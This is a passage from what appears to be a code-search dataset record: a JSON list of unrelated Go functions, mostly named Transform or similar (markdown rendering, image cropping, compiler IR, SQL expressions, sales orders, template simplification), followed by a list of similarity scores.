{\\n\\t\\t\\t\\t\\t\\tv.AppendChild(v, child)\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tnewChild := NewTaskCheckBoxListItem(listItem)\\n\\t\\t\\t\\t\\tnewChild.IsChecked = taskCheckBox.IsChecked\\n\\t\\t\\t\\t\\tnewChild.SetAttributeString(\\\"class\\\", []byte(\\\"task-list-item\\\"))\\n\\t\\t\\t\\t\\tsegments := newChild.FirstChild().Lines()\\n\\t\\t\\t\\t\\tif segments.Len() > 0 {\\n\\t\\t\\t\\t\\t\\tsegment := segments.At(0)\\n\\t\\t\\t\\t\\t\\tnewChild.SourcePosition = rc.metaLength + segment.Start\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tv.AppendChild(v, newChild)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tapplyElementDir(v)\\n\\t\\tcase *ast.Text:\\n\\t\\t\\tif v.SoftLineBreak() && !v.HardLineBreak() {\\n\\t\\t\\t\\trenderMetas := pc.Get(renderMetasKey).(map[string]string)\\n\\t\\t\\t\\tmode := renderMetas[\\\"mode\\\"]\\n\\t\\t\\t\\tif mode != \\\"document\\\" {\\n\\t\\t\\t\\t\\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInComments)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tv.SetHardLineBreak(setting.Markdown.EnableHardLineBreakInDocuments)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\tcase *ast.CodeSpan:\\n\\t\\t\\tcolorContent := n.Text(reader.Source())\\n\\t\\t\\tif css.ColorHandler(strings.ToLower(string(colorContent))) {\\n\\t\\t\\t\\tv.AppendChild(v, NewColorPreview(colorContent))\\n\\t\\t\\t}\\n\\t\\tcase *ast.Emphasis:\\n\\t\\t\\t// check if inside blockquote for attention, expected hierarchy is\\n\\t\\t\\t// Emphasis < Paragraph < Blockquote\\n\\t\\t\\tblockquote, isInBlockquote := n.Parent().Parent().(*ast.Blockquote)\\n\\t\\t\\tif isInBlockquote && !attentionMarkedBlockquotes.Contains(blockquote) {\\n\\t\\t\\t\\tfullText := string(n.Text(reader.Source()))\\n\\t\\t\\t\\tif fullText == AttentionNote || fullText == AttentionWarning {\\n\\t\\t\\t\\t\\tv.SetAttributeString(\\\"class\\\", []byte(\\\"attention-\\\"+strings.ToLower(fullText)))\\n\\t\\t\\t\\t\\tv.Parent().InsertBefore(v.Parent(), v, NewAttention(fullText))\\n\\t\\t\\t\\t\\tattentionMarkedBlockquotes.Add(blockquote)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn ast.WalkContinue, nil\\n\\t})\\n\\n\\tshowTocInMain := tocMode == \\\"true\\\" /* old behavior, in main view */ || tocMode == \\\"main\\\"\\n\\tshowTocInSidebar := !showTocInMain && tocMode != \\\"false\\\" // not hidden, not main, then show it in sidebar\\n\\tif len(tocList) > 0 && (showTocInMain || showTocInSidebar) {\\n\\t\\tif showTocInMain {\\n\\t\\t\\ttocNode := createTOCNode(tocList, rc.Lang, nil)\\n\\t\\t\\tnode.InsertBefore(node, firstChild, tocNode)\\n\\t\\t} else {\\n\\t\\t\\ttocNode := createTOCNode(tocList, rc.Lang, map[string]string{\\\"open\\\": \\\"open\\\"})\\n\\t\\t\\tctx.SidebarTocNode = tocNode\\n\\t\\t}\\n\\t}\\n\\n\\tif len(rc.Lang) > 0 {\\n\\t\\tnode.SetAttributeString(\\\"lang\\\", []byte(rc.Lang))\\n\\t}\\n}\",\n \"func Transform(w io.Writer, r io.Reader, o *Options) (err error) {\\n\\t// Nothing cropped, so just pipe the image as-is.\\n\\tif o.Rectangle == nil {\\n\\t\\t_, err = io.Copy(w, r)\\n\\t\\treturn\\n\\t}\\n\\t// Cropping, will have to re-code.\\n\\ti, e := Decode(r)\\n\\tif e != nil {\\n\\t\\treturn e\\n\\t}\\n\\treturn Encode(w, i, o)\\n}\",\n \"func convert(r *resource.Resource) *unstructured.Unstructured {\\n\\treturn &unstructured.Unstructured{\\n\\t\\tObject: r.Map(),\\n\\t}\\n}\",\n \"func (app *Configurable) Transform(parameters map[string]string) interfaces.AppFunction {\\n\\ttransformType, ok := parameters[TransformType]\\n\\tif !ok {\\n\\t\\tapp.lc.Errorf(\\\"Could not find '%s' parameter for Transform\\\", TransformType)\\n\\t\\treturn nil\\n\\t}\\n\\n\\ttransform := transforms.Conversion{}\\n\\n\\tswitch strings.ToLower(transformType) {\\n\\tcase TransformXml:\\n\\t\\treturn transform.TransformToXML\\n\\tcase TransformJson:\\n\\t\\treturn transform.TransformToJSON\\n\\tdefault:\\n\\t\\tapp.lc.Errorf(\\n\\t\\t\\t\\\"Invalid transform type '%s'. Must be '%s' or '%s'\\\",\\n\\t\\t\\ttransformType,\\n\\t\\t\\tTransformXml,\\n\\t\\t\\tTransformJson)\\n\\t\\treturn nil\\n\\t}\\n}\",\n \"func (d *Day) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\\n\\tchild, err := d.Child.TransformUp(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn f(NewDay(child))\\n}\",\n \"func (s *StructTransformer) Transform(v interface{}) []float64 {\\n\\tif v == nil || s == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif s.getNumFeatures() == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tfeatures := make([]float64, 0, s.getNumFeatures())\\n\\n\\tval := reflect.ValueOf(v)\\n\\tfor i := 0; i < val.NumField() && i < len(s.Transformers); i++ {\\n\\t\\ttransformer := s.Transformers[i]\\n\\t\\tif transformer == nil || reflect.ValueOf(transformer).IsNil() {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tfield := val.Field(i)\\n\\t\\tswitch field.Type().Kind() {\\n\\t\\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\\n\\t\\t\\tfeatures = append(features, s.transformNumerical(transformer, float64(field.Int()))...)\\n\\t\\tcase reflect.Float32, reflect.Float64:\\n\\t\\t\\tfeatures = append(features, s.transformNumerical(transformer, field.Float())...)\\n\\t\\tcase reflect.String:\\n\\t\\t\\tfeatures = append(features, s.transformString(transformer, field.String())...)\\n\\t\\tdefault:\\n\\t\\t\\tpanic(\\\"unsupported type in struct\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn features\\n}\",\n \"func transformError(resourceType string, resource string, err error) error {\\n\\tswitch err.(type) {\\n\\tcase *find.NotFoundError, *find.DefaultNotFoundError:\\n\\t\\treturn k8serrors.NewNotFound(schema.GroupResource{Group: \\\"vmoperator.vmware.com\\\", Resource: strings.ToLower(resourceType)}, resource)\\n\\tcase *find.MultipleFoundError, *find.DefaultMultipleFoundError:\\n\\t\\t// Transform?\\n\\t\\treturn err\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n}\",\n \"func transformSlice(n *ir.SliceExpr) {\\n\\tassert(n.Type() != nil && n.Typecheck() == 1)\\n\\tl := n.X\\n\\tif l.Type().IsArray() {\\n\\t\\taddr := typecheck.NodAddr(n.X)\\n\\t\\taddr.SetImplicit(true)\\n\\t\\ttyped(types.NewPtr(n.X.Type()), addr)\\n\\t\\tn.X = addr\\n\\t\\tl = addr\\n\\t}\\n\\tt := l.Type()\\n\\tif t.IsString() {\\n\\t\\tn.SetOp(ir.OSLICESTR)\\n\\t} else if t.IsPtr() && t.Elem().IsArray() {\\n\\t\\tif n.Op().IsSlice3() {\\n\\t\\t\\tn.SetOp(ir.OSLICE3ARR)\\n\\t\\t} else {\\n\\t\\t\\tn.SetOp(ir.OSLICEARR)\\n\\t\\t}\\n\\t}\\n}\",\n \"func transformReturn(rs *ir.ReturnStmt) {\\n\\ttransformArgs(rs)\\n\\tnl := rs.Results\\n\\tif ir.HasNamedResults(ir.CurFunc) && len(nl) == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\ttypecheckaste(ir.ORETURN, nil, false, ir.CurFunc.Type().Results(), nl)\\n}\",\n \"func TransformDocument(in interface{}) Document {\\n\\tvar document Document\\n\\tswitch v := in.(type) {\\n\\tcase bson.M:\\n\\t\\tdocument.ID = v[\\\"_id\\\"].(bson.ObjectId)\\n\\t\\tdocument.OwnerID = v[\\\"owner_id\\\"].(bson.ObjectId)\\n\\t\\tdocument.URL = v[\\\"url\\\"].(string)\\n\\t\\tdocument.DocType = v[\\\"doc_type\\\"].(string)\\n\\t\\tdocument.OwnerType = v[\\\"owner_type\\\"].(string)\\n\\n\\tcase Document:\\n\\t\\tdocument = v\\n\\t}\\n\\n\\treturn document\\n}\",\n \"func (e *With32FieldsFeatureTransformer) Transform(s *With32Fields) []float64 {\\n\\tif s == nil || e == nil {\\n\\t\\treturn nil\\n\\t}\\n\\tfeatures := make([]float64, e.NumFeatures())\\n\\te.TransformInplace(features, s)\\n\\treturn features\\n}\",\n \"func Transform(mid Middler, file string, name string, outfile string) error {\\n\\timg, err := loadImage(file)\\n\\tout, err := os.Create(outfile)\\n\\tdefer out.Close()\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"can't open file for writing\\\")\\n\\t}\\n\\tmiddle, err := mid(img)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Problem with middle detection %v\\\", err)\\n\\t}\\n\\tdst := mirroredImage(img, middle)\\n\\tjpeg.Encode(out, dst, &jpeg.Options{Quality: 100})\\n\\treturn nil\\n}\",\n \"func (gatewayContext *GatewayContext) transformEvent(gatewayEvent *gateways.Event) (*cloudevents.Event, error) {\\n\\tevent := cloudevents.NewEvent(cloudevents.VersionV03)\\n\\tevent.SetID(fmt.Sprintf(\\\"%x\\\", uuid.New()))\\n\\tevent.SetSpecVersion(cloudevents.VersionV03)\\n\\tevent.SetType(string(gatewayContext.gateway.Spec.Type))\\n\\tevent.SetSource(gatewayContext.gateway.Name)\\n\\tevent.SetDataContentType(\\\"application/json\\\")\\n\\tevent.SetSubject(gatewayEvent.Name)\\n\\tevent.SetTime(time.Now())\\n\\tif err := event.SetData(gatewayEvent.Payload); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn &event, nil\\n}\",\n \"func Unstructured(group, kind, version, name, namespace string, object map[string]interface{}, owner *ibmcloudv1alpha1.Nfs, client client.Client, scheme *runtime.Scheme, log logr.Logger) {\\n\\tres := &ResUnstructured{\\n\\t\\tgroup: group,\\n\\t\\tkind: kind,\\n\\t\\tversion: version,\\n\\t\\tnamespace: namespace,\\n\\t}\\n\\tres.Resource = New(owner, client, scheme, log)\\n\\tres.Object = res.newUnstructured(object)\\n\\n\\tapiVersion, kind := GVK(res.Object, res.Scheme)\\n\\tres.Log = res.Log.WithValues(\\\"Resource.Name\\\", res.Object.GetName(), \\\"Resource.Namespace\\\", res.Object.GetNamespace(), \\\"Resource.APIVersion\\\", apiVersion, \\\"Resource.Kind\\\", kind)\\n}\",\n \"func transformCompLit(n *ir.CompLitExpr) (res ir.Node) {\\n\\tassert(n.Type() != nil && n.Typecheck() == 1)\\n\\tlno := base.Pos\\n\\tdefer func() {\\n\\t\\tbase.Pos = lno\\n\\t}()\\n\\n\\t// Save original node (including n.Right)\\n\\tn.SetOrig(ir.Copy(n))\\n\\n\\tir.SetPos(n)\\n\\n\\tt := n.Type()\\n\\n\\tswitch t.Kind() {\\n\\tdefault:\\n\\t\\tbase.Fatalf(\\\"transformCompLit %v\\\", t.Kind())\\n\\n\\tcase types.TARRAY:\\n\\t\\ttransformArrayLit(t.Elem(), t.NumElem(), n.List)\\n\\t\\tn.SetOp(ir.OARRAYLIT)\\n\\n\\tcase types.TSLICE:\\n\\t\\tlength := transformArrayLit(t.Elem(), -1, n.List)\\n\\t\\tn.SetOp(ir.OSLICELIT)\\n\\t\\tn.Len = length\\n\\n\\tcase types.TMAP:\\n\\t\\tfor _, l := range n.List {\\n\\t\\t\\tir.SetPos(l)\\n\\t\\t\\tassert(l.Op() == ir.OKEY)\\n\\t\\t\\tl := l.(*ir.KeyExpr)\\n\\n\\t\\t\\tr := l.Key\\n\\t\\t\\tl.Key = assignconvfn(r, t.Key())\\n\\n\\t\\t\\tr = l.Value\\n\\t\\t\\tl.Value = assignconvfn(r, t.Elem())\\n\\t\\t}\\n\\n\\t\\tn.SetOp(ir.OMAPLIT)\\n\\n\\tcase types.TSTRUCT:\\n\\t\\t// Need valid field offsets for Xoffset below.\\n\\t\\ttypes.CalcSize(t)\\n\\n\\t\\tif len(n.List) != 0 && !hasKeys(n.List) {\\n\\t\\t\\t// simple list of values\\n\\t\\t\\tls := n.List\\n\\t\\t\\tfor i, n1 := range ls {\\n\\t\\t\\t\\tir.SetPos(n1)\\n\\n\\t\\t\\t\\tf := t.Field(i)\\n\\t\\t\\t\\tn1 = assignconvfn(n1, f.Type)\\n\\t\\t\\t\\tls[i] = ir.NewStructKeyExpr(base.Pos, f, n1)\\n\\t\\t\\t}\\n\\t\\t\\tassert(len(ls) >= t.NumFields())\\n\\t\\t} else {\\n\\t\\t\\t// keyed list\\n\\t\\t\\tls := n.List\\n\\t\\t\\tfor i, l := range ls {\\n\\t\\t\\t\\tir.SetPos(l)\\n\\n\\t\\t\\t\\tkv := l.(*ir.KeyExpr)\\n\\t\\t\\t\\tkey := kv.Key\\n\\n\\t\\t\\t\\t// Sym might have resolved to name in other top-level\\n\\t\\t\\t\\t// package, because of import dot. Redirect to correct sym\\n\\t\\t\\t\\t// before we do the lookup.\\n\\t\\t\\t\\ts := key.Sym()\\n\\t\\t\\t\\tif id, ok := key.(*ir.Ident); ok && typecheck.DotImportRefs[id] != nil {\\n\\t\\t\\t\\t\\ts = typecheck.Lookup(s.Name)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif types.IsExported(s.Name) && s.Pkg != types.LocalPkg {\\n\\t\\t\\t\\t\\t// Exported field names should always have\\n\\t\\t\\t\\t\\t// local pkg. We only need to do this\\n\\t\\t\\t\\t\\t// adjustment for generic functions that are\\n\\t\\t\\t\\t\\t// being transformed after being imported\\n\\t\\t\\t\\t\\t// from another package.\\n\\t\\t\\t\\t\\ts = typecheck.Lookup(s.Name)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// An OXDOT uses the Sym field to hold\\n\\t\\t\\t\\t// the field to the right of the dot,\\n\\t\\t\\t\\t// so s will be non-nil, but an OXDOT\\n\\t\\t\\t\\t// is never a valid struct literal key.\\n\\t\\t\\t\\tassert(!(s == nil || key.Op() == ir.OXDOT || s.IsBlank()))\\n\\n\\t\\t\\t\\tf := typecheck.Lookdot1(nil, s, t, t.Fields(), 0)\\n\\t\\t\\t\\tl := ir.NewStructKeyExpr(l.Pos(), f, kv.Value)\\n\\t\\t\\t\\tls[i] = l\\n\\n\\t\\t\\t\\tl.Value = assignconvfn(l.Value, f.Type)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tn.SetOp(ir.OSTRUCTLIT)\\n\\t}\\n\\n\\treturn n\\n}\",\n \"func (EditCandidatePublicKeyResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.EditCandidatePublicKeyData)\\n\\n\\treturn EditCandidatePublicKeyResource{\\n\\t\\tPubKey: data.PubKey.String(),\\n\\t\\tNewPubKey: data.NewPubKey.String(),\\n\\t}\\n}\",\n \"func (r *updateRequest) Transform(user *model.User) (*model.SalesOrder, []*model.SalesOrderItem) {\\n\\tvar disc float32\\n\\tvar discAmount float64\\n\\n\\t// calculate\\n\\tif r.IsPercentageDiscount == int8(1) {\\n\\t\\tdisc = r.Discount\\n\\t\\tdiscAmount = (r.TotalPrice * float64(disc)) / float64(100)\\n\\t} else {\\n\\t\\tdiscAmount = r.DiscountAmount\\n\\t\\tif discAmount != float64(0) {\\n\\t\\t\\tdisc = float32(common.FloatPrecision((discAmount/r.TotalPrice)*float64(100), 2))\\n\\t\\t}\\n\\t}\\n\\tcuramount := r.TotalPrice - r.DiscountAmount\\n\\tr.TaxAmount = (curamount * float64(r.Tax)) / float64(100)\\n\\tr.TotalCharge = common.FloatPrecision(curamount+r.TaxAmount+r.ShipmentCost, 0)\\n\\n\\tso := r.SalesOrder\\n\\tso.RecognitionDate = r.RecognitionDate\\n\\tso.EtaDate = r.EtaDate\\n\\tso.Discount = disc\\n\\tso.DiscountAmount = discAmount\\n\\tso.Tax = r.Tax\\n\\tso.TaxAmount = r.TaxAmount\\n\\tso.ShipmentCost = r.ShipmentCost\\n\\tso.TotalPrice = r.TotalPrice\\n\\tso.TotalCharge = r.TotalCharge\\n\\tso.TotalCost = r.TotalCost\\n\\tso.IsPercentageDiscount = r.IsPercentageDiscount\\n\\tso.Note = r.Note\\n\\tso.UpdatedAt = time.Now()\\n\\tso.UpdatedBy = user\\n\\n\\tvar items []*model.SalesOrderItem\\n\\tfor _, row := range r.SalesOrderItem {\\n\\t\\tvar ID int64\\n\\t\\tif row.ID != \\\"\\\" {\\n\\t\\t\\tID, _ = common.Decrypt(row.ID)\\n\\t\\t}\\n\\t\\tidItemVar, _ := common.Decrypt(row.ItemVariantID)\\n\\t\\titemvar, _ := inventory.GetDetailItemVariant(\\\"id\\\", idItemVar)\\n\\n\\t\\tdiscamount := ((row.UnitPrice * float64(row.Quantity)) * float64(row.Discount)) / float64(100)\\n\\t\\tcuramount := row.UnitPrice * float64(row.Quantity)\\n\\t\\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\\n\\t\\trow.Subtotal = subtotal\\n\\n\\t\\tsoitem := model.SalesOrderItem{\\n\\t\\t\\tID: ID,\\n\\t\\t\\tItemVariant: itemvar,\\n\\t\\t\\tQuantity: row.Quantity,\\n\\t\\t\\tUnitPrice: row.UnitPrice,\\n\\t\\t\\tDiscount: row.Discount,\\n\\t\\t\\tSubtotal: row.Subtotal,\\n\\t\\t\\tNote: row.Note,\\n\\t\\t}\\n\\t\\titems = append(items, &soitem)\\n\\t}\\n\\n\\treturn so, items\\n}\",\n \"func (m *Minute) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\\n\\tchild, err := m.Child.TransformUp(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn f(NewMinute(child))\\n}\",\n \"func (l BaseLink) Transform(path string, originalURL url.URL) (*url.URL, error) {\\n\\tdestURL := l.Target\\n\\tif len(path) > len(l.Path) {\\n\\t\\tdestURL += path[len(l.Path):]\\n\\t}\\n\\treturn targetToURL(destURL, originalURL)\\n}\",\n \"func (t *treeSimplifier) simplifyPipeNode(node *parse.PipeNode, ref parse.Node) bool {\\n\\t/*\\n\\t look for\\n\\t {{\\\"some\\\" | split \\\"what\\\"}}\\n\\t transform into\\n\\t {{split \\\"what\\\" \\\"some\\\"}}\\n\\t*/\\n\\tif rearrangeCmdsWithIdentifierPrecededByCmdWithVariableNode(node) {\\n\\t\\treturn true\\n\\t}\\n\\n\\t/*\\n\\t look for\\n\\t {{up \\\"what\\\" | lower}}\\n\\t transform into\\n\\t {{$some := up \\\"what\\\"}}\\n\\t {{$some | lower}}\\n\\t*/\\n\\tfirstCmd, secCmd := getCmdIdentifierFollowedByCmdIdentifier(node)\\n\\tif firstCmd != nil && secCmd != nil {\\n\\t\\tfirstCmdIndex := getCmdIndex(firstCmd, node)\\n\\t\\tif firstCmdIndex > -1 {\\n\\t\\t\\tvarName := t.createVarName()\\n\\t\\t\\tvarNode := createAVariableNode(varName)\\n\\t\\t\\tif replaceCmdWithVar(node, firstCmd, varNode) == false {\\n\\t\\t\\t\\terr := fmt.Errorf(\\\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\\\n%v\\\\n%#v\\\", firstCmd, firstCmd)\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t\\tnewAction := createAVariablePipeActionFromCmd(varName, firstCmd)\\n\\t\\t\\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\\n\\t\\t\\t\\terr := fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\\\n%v\\\\n%#v\\\\nreference node was\\\\n%v\\\\n%#v\\\",\\n\\t\\t\\t\\t\\tnewAction, newAction,\\n\\t\\t\\t\\t\\tnode, node)\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\n\\t// following transform can be executed only on\\n\\t// ref node like if/else/range/with\\n\\tisValidRef := false\\n\\tswitch ref.(type) {\\n\\tcase *parse.IfNode:\\n\\t\\tisValidRef = true\\n\\tcase *parse.RangeNode:\\n\\t\\tisValidRef = true\\n\\tcase *parse.WithNode:\\n\\t\\tisValidRef = true\\n\\tcase *parse.TemplateNode:\\n\\t\\tisValidRef = true\\n\\t}\\n\\tif isValidRef {\\n\\t\\t/*\\n\\t\\t look for\\n\\t\\t {{if not true}}\\n\\t\\t transform into\\n\\t\\t {{$some := not true}}\\n\\t\\t {{if $some}}\\n\\t\\t*/\\n\\t\\tif len(node.Cmds) > 0 {\\n\\t\\t\\tcmd := node.Cmds[0]\\n\\t\\t\\tif len(cmd.Args) > 0 {\\n\\t\\t\\t\\tif _, ok := cmd.Args[0].(*parse.IdentifierNode); ok {\\n\\t\\t\\t\\t\\tvarName := t.createVarName()\\n\\t\\t\\t\\t\\tvarNode := createAVariableNode(varName)\\n\\t\\t\\t\\t\\tnewAction := createAVariablePipeAction(varName, node)\\n\\t\\t\\t\\t\\tnewCmd := &parse.CommandNode{}\\n\\t\\t\\t\\t\\tnewCmd.NodeType = parse.NodeCommand\\n\\t\\t\\t\\t\\tnewCmd.Args = append(newCmd.Args, varNode)\\n\\t\\t\\t\\t\\tnode.Cmds = append(node.Cmds[:0], newCmd)\\n\\t\\t\\t\\t\\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\\n\\t\\t\\t\\t\\t\\terr := fmt.Errorf(\\n\\t\\t\\t\\t\\t\\t\\t\\\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\\\n%v\\\\n%#v\\\\nreference node was\\\\n%v\\\\n%#v\\\",\\n\\t\\t\\t\\t\\t\\t\\tnewAction, newAction,\\n\\t\\t\\t\\t\\t\\t\\tref, ref)\\n\\t\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t/*\\n\\t\\t look for\\n\\t\\t {{if eq (up \\\"what\\\" | lower) \\\"what\\\"}}\\n\\t\\t transform into\\n\\t\\t {{$some := eq (up \\\"what\\\" | lower) \\\"what\\\"}}\\n\\t\\t {{if $some}}\\n\\t\\t*/\\n\\t\\tif len(node.Cmds) > 0 {\\n\\t\\t\\tcmd := node.Cmds[0]\\n\\t\\t\\t_, pipeToMove := getPipeFollowingIdentifier(cmd)\\n\\t\\t\\tif pipeToMove != nil {\\n\\t\\t\\t\\tvarName := t.createVarName()\\n\\t\\t\\t\\tvarNode := createAVariableNode(varName)\\n\\t\\t\\t\\tif replacePipeWithVar(cmd, pipeToMove, varNode) == false {\\n\\t\\t\\t\\t\\terr := fmt.Errorf(\\\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\\\n%v\\\\n%#v\\\", cmd, cmd)\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tnewAction := createAVariablePipeAction(varName, pipeToMove)\\n\\t\\t\\t\\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\\n\\t\\t\\t\\t\\terr := fmt.Errorf(\\n\\t\\t\\t\\t\\t\\t\\\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\\\n%v\\\\n%#v\\\\nreference node was\\\\n%v\\\\n%#v\\\",\\n\\t\\t\\t\\t\\t\\tnewAction, newAction,\\n\\t\\t\\t\\t\\t\\tref, ref)\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t/*\\n\\t\\t\\t look for\\n\\t\\t\\t {{(up \\\"what\\\")}}\\n\\t\\t\\t transform into\\n\\t\\t\\t {{up \\\"what\\\"}}\\n\\t\\t (ie: removes parenthesis)\\n\\t*/\\n\\tif len(node.Cmds) == 1 && len(node.Cmds[0].Args) == 1 {\\n\\t\\tif p, ok := node.Cmds[0].Args[0].(*parse.PipeNode); ok {\\n\\t\\t\\tnode.Cmds = p.Cmds\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\n\\treturn false\\n}\",\n \"func (r *RenameFamilies) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\\n\\trenamed := mfs[:0]\\n\\tfor _, mf := range mfs {\\n\\t\\tif to, ok := r.FromTo[mf.GetName()]; ok {\\n\\t\\t\\tmf.Name = &to\\n\\t\\t}\\n\\t\\trenamed = append(renamed, mf)\\n\\n\\t}\\n\\tsort.Sort(familySorter(renamed))\\n\\treturn renamed\\n}\",\n \"func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\\n\\n\\n\\n\\t// Process the entry\\n\\tswitch theEntry.Tag {\\n\\t\\tcase dwarf.TagCompileUnit:\\tprocessCompileUnit(theReader, depth, theEntry);\\n\\t\\tcase dwarf.TagSubprogram:\\tprocessSubprogram( theReader, depth, theEntry);\\n\\t\\tdefault:\\n\\t\\t\\tif (theEntry.Children) {\\n\\t\\t\\t\\tprocessChildren(theReader, depth+1, true);\\n\\t\\t\\t}\\n\\t\\t}\\n}\",\n \"func (e Entry) flatten(m map[string]interface{}) {\\n\\tm[\\\"message\\\"] = e.Message\\n\\tm[\\\"severity\\\"] = e.Severity\\n\\tif e.Trace != \\\"\\\" {\\n\\t\\tm[\\\"logging.googleapis.com/trace\\\"] = e.Trace\\n\\t}\\n\\tif e.Component != \\\"\\\" {\\n\\t\\tm[\\\"component\\\"] = e.Component\\n\\t}\\n\\tif e.Fields != nil {\\n\\t\\tfor k, v := range e.Fields {\\n\\t\\t\\tm[k] = v\\n\\t\\t}\\n\\t}\\n}\",\n \"func TransformExtractedPullRequestData(w http.ResponseWriter, _ *http.Request) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\n\\tprTransformer := di.GetPullRequestTransformer()\\n\\n\\t_, _ = prTransformer.TransformRecords()\\n\\n\\tdata, err := json.Marshal(helpers.SuccessResponse{\\n\\t\\tMessage: \\\"success\\\",\\n\\t})\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\thelpers.GetError(err, w)\\n\\t\\treturn\\n\\t}\\n\\n\\tw.WriteHeader(http.StatusOK)\\n\\t_, _ = w.Write(data)\\n}\",\n \"func setupTransformableItems(c *cli.Context,\\n\\tctxOpts *terrahelp.TransformOpts,\\n\\tnoBackup bool, bkpExt string) {\\n\\tfiles := c.StringSlice(\\\"file\\\")\\n\\n\\tif files == nil || len(files) == 0 {\\n\\t\\tctxOpts.TransformItems = []terrahelp.Transformable{terrahelp.NewStdStreamTransformable()}\\n\\t\\treturn\\n\\t}\\n\\tctxOpts.TransformItems = []terrahelp.Transformable{}\\n\\tfor _, f := range files {\\n\\t\\tctxOpts.TransformItems = append(ctxOpts.TransformItems,\\n\\t\\t\\tterrahelp.NewFileTransformable(f, !noBackup, bkpExt))\\n\\t}\\n}\",\n \"func (m *Month) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\\n\\tchild, err := m.Child.TransformUp(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn f(NewMonth(child))\\n}\",\n \"func applyTransform(str string, transform sf) (out string) {\\n\\tout = \\\"\\\"\\n\\n\\tfor idx, line := range strings.Split(str, \\\"\\\\n\\\") {\\n\\t\\tout += transform(idx, line)\\n\\t}\\n\\n\\treturn\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.66330934","0.5959578","0.57227963","0.5707559","0.5705114","0.569543","0.5488598","0.5484234","0.5442998","0.53408206","0.5336651","0.5332927","0.5325661","0.53223914","0.52256715","0.52074414","0.52019304","0.51979303","0.5181878","0.5164985","0.5160501","0.51377946","0.51341206","0.5128638","0.51192695","0.51132804","0.51021475","0.5098523","0.5090875","0.50785774","0.5076889","0.50752634","0.50625294","0.50468534","0.50452006","0.5005747","0.4991385","0.49852526","0.49828464","0.49764863","0.49742508","0.49725714","0.49675462","0.4961869","0.49469635","0.49261367","0.4925901","0.49171594","0.49134427","0.49122974","0.49004218","0.48957372","0.48852968","0.4852944","0.48517638","0.4841351","0.48324156","0.47867686","0.47800103","0.47738263","0.47723144","0.47681174","0.47645372","0.47554398","0.4754858","0.47482353","0.47309133","0.47176296","0.47151423","0.47109926","0.4706565","0.47059095","0.47001883","0.469936","0.4695291","0.4690898","0.4681888","0.46814024","0.46749458","0.46748364","0.46599025","0.46492898","0.46432316","0.4642473","0.46382892","0.46376684","0.46370286","0.46184084","0.4604167","0.46013045","0.45984963","0.45937607","0.45902354","0.4589723","0.4587325","0.45822936","0.45800015","0.45671898","0.456048","0.45600793"],"string":"[\n \"0.66330934\",\n \"0.5959578\",\n \"0.57227963\",\n \"0.5707559\",\n \"0.5705114\",\n \"0.569543\",\n \"0.5488598\",\n \"0.5484234\",\n \"0.5442998\",\n \"0.53408206\",\n \"0.5336651\",\n \"0.5332927\",\n \"0.5325661\",\n \"0.53223914\",\n \"0.52256715\",\n \"0.52074414\",\n \"0.52019304\",\n \"0.51979303\",\n \"0.5181878\",\n \"0.5164985\",\n 